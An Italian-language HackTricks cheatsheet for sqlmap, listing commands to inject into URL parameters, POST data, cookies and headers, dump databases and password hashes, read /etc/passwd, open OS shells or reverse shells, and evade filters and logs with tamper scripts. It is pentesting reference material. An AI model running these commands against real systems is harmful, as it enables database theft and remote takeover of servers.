SQLMap - Cheetsheat

Supporta HackTricks

Setup disponibile istantaneamente per valutazione delle vulnerabilità e penetration testing. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla reportistica. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento e sfruttamento per dare loro più tempo per approfondire, poppare shell e divertirsi.

Argomenti di base per SQLmap

Generico

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char

Recuperare Informazioni

Interno

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges

Dati DB

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Luogo di Iniezione

Dalla cattura di Burp/ZAP

Cattura la richiesta e crea un file req.txt

sqlmap -r req.txt --current-user

Iniezione di Richiesta GET

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

Iniezione di Richiesta POST

sqlmap -u "http://example.com" --data "username=*&password=*"

Iniezioni negli Header e altri Metodi HTTP

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Indica stringa quando l'iniezione ha successo

--string="string_showed_when_TRUE"

Eval

Sqlmap consente l'uso di -e o --eval per elaborare ogni payload prima di inviarlo con un oneliner python. Questo rende molto facile e veloce elaborare in modi personalizzati il payload prima di inviarlo. Nell'esempio seguente, la sessione cookie flask è firmata da flask con il segreto noto prima di inviarla:

sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump

Shell

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Leggi File

--file-read=/etc/passwd

Scansiona un sito web con SQLmap e auto-sfrutta

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Iniezione di Secondo Ordine

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Leggi questo post su come eseguire iniezioni di secondo ordine semplici e complesse con sqlmap.

Personalizzazione dell'iniezione

Imposta un suffisso

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Prefisso

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Aiuto per trovare l'iniezione booleano

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

Ricorda che puoi creare il tuo tamper in python ed è molto semplice. Puoi trovare un esempio di tamper nella pagina Second Order Injection qui.

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
TamperDescrizione

apostrophemask.py

Sostituisce il carattere apostrofo con il suo equivalente a larghezza completa UTF-8

apostrophenullencode.py

Sostituisce il carattere apostrofo con il suo equivalente illegale a doppio unicode

appendnullbyte.py

Aggiunge un carattere NULL codificato alla fine del payload

base64encode.py

Codifica in Base64 tutti i caratteri in un dato payload

between.py

Sostituisce l'operatore maggiore di ('>') con 'NOT BETWEEN 0 AND #'

bluecoat.py

Sostituisce il carattere spazio dopo l'istruzione SQL con un carattere vuoto casuale valido. Successivamente sostituisce il carattere = con l'operatore LIKE

chardoubleencode.py

Codifica in doppio url tutti i caratteri in un dato payload (non elabora quelli già codificati)

commalesslimit.py

Sostituisce istanze come 'LIMIT M, N' con 'LIMIT N OFFSET M'

commalessmid.py

Sostituisce istanze come 'MID(A, B, C)' con 'MID(A FROM B FOR C)'

concat2concatws.py

Sostituisce istanze come 'CONCAT(A, B)' con 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'

charencode.py

Codifica in url tutti i caratteri in un dato payload (non elabora quelli già codificati)

charunicodeencode.py

Codifica in unicode-url i caratteri non codificati in un dato payload (non elabora quelli già codificati). "%u0022"

charunicodeescape.py

Codifica in unicode-url i caratteri non codificati in un dato payload (non elabora quelli già codificati). "\u0022"

equaltolike.py

Sostituisce tutte le occorrenze dell'operatore uguale ('=') con l'operatore 'LIKE'

escapequotes.py

Escape con barra delle virgolette (' e ")

greatest.py

Sostituisce l'operatore maggiore di ('>') con il suo equivalente 'GREATEST'

halfversionedmorekeywords.py

Aggiunge un commento MySQL versionato prima di ogni parola chiave

ifnull2ifisnull.py

Sostituisce istanze come 'IFNULL(A, B)' con 'IF(ISNULL(A), B, A)'

modsecurityversioned.py

Racchiude la query completa con un commento versionato

modsecurityzeroversioned.py

Racchiude la query completa con un commento a zero-versione

multiplespaces.py

Aggiunge spazi multipli attorno alle parole chiave SQL

nonrecursivereplacement.py

Sostituisce parole chiave SQL predefinite con rappresentazioni adatte per la sostituzione (es. .replace("SELECT", "")) filtri

percentage.py

Aggiunge un simbolo di percentuale ('%') davanti a ciascun carattere

overlongutf8.py

Converte tutti i caratteri in un dato payload (non elabora quelli già codificati)

randomcase.py

Sostituisce ciascun carattere della parola chiave con un valore di caso casuale

randomcomments.py

Aggiunge commenti casuali alle parole chiave SQL

securesphere.py

Aggiunge una stringa appositamente creata

sp_password.py

Aggiunge 'sp_password' alla fine del payload per l'oscuramento automatico dai log DBMS

space2comment.py

Sostituisce il carattere spazio (' ') con commenti

space2dash.py

Sostituisce il carattere spazio (' ') con un commento dash ('--') seguito da una stringa casuale e una nuova riga ('\n')

space2hash.py

Sostituisce il carattere spazio (' ') con un carattere di cancelletto ('#') seguito da una stringa casuale e una nuova riga ('\n')

space2morehash.py

Sostituisce il carattere spazio (' ') con un carattere di cancelletto ('#') seguito da una stringa casuale e una nuova riga ('\n')

space2mssqlblank.py

Sostituisce il carattere spazio (' ') con un carattere vuoto casuale da un insieme valido di caratteri alternativi

space2mssqlhash.py

Sostituisce il carattere spazio (' ') con un carattere di cancelletto ('#') seguito da una nuova riga ('\n')

space2mysqlblank.py

Sostituisce il carattere spazio (' ') con un carattere vuoto casuale da un insieme valido di caratteri alternativi

space2mysqldash.py

Sostituisce il carattere spazio (' ') con un commento dash ('--') seguito da una nuova riga ('\n')

space2plus.py

Sostituisce il carattere spazio (' ') con un più ('+')

space2randomblank.py

Sostituisce il carattere spazio (' ') con un carattere vuoto casuale da un insieme valido di caratteri alternativi

symboliclogical.py

Sostituisce gli operatori logici AND e OR con i loro equivalenti simbolici (&& e

unionalltounion.py

Sostituisce UNION ALL SELECT con UNION SELECT

unmagicquotes.py

Sostituisce il carattere di virgolette (') con una combinazione multi-byte %bf%27 insieme a un commento generico alla fine (per farlo funzionare)

uppercase.py

Sostituisce ciascun carattere della parola chiave con il valore maiuscolo 'INSERT'

varnish.py

Aggiunge un'intestazione HTTP 'X-originating-IP'

versionedkeywords.py

Racchiude ciascuna parola chiave non funzione con un commento MySQL versionato

versionedmorekeywords.py

Racchiude ciascuna parola chiave con un commento MySQL versionato

xforwardedfor.py

Aggiunge un'intestazione HTTP falsa 'X-Forwarded-For'

Impostazione immediatamente disponibile per la valutazione delle vulnerabilità e il pentesting. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla reportistica. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento e sfruttamento per restituire loro del tempo per approfondire, aprire shell e divertirsi.

Supporta HackTricks

Last updated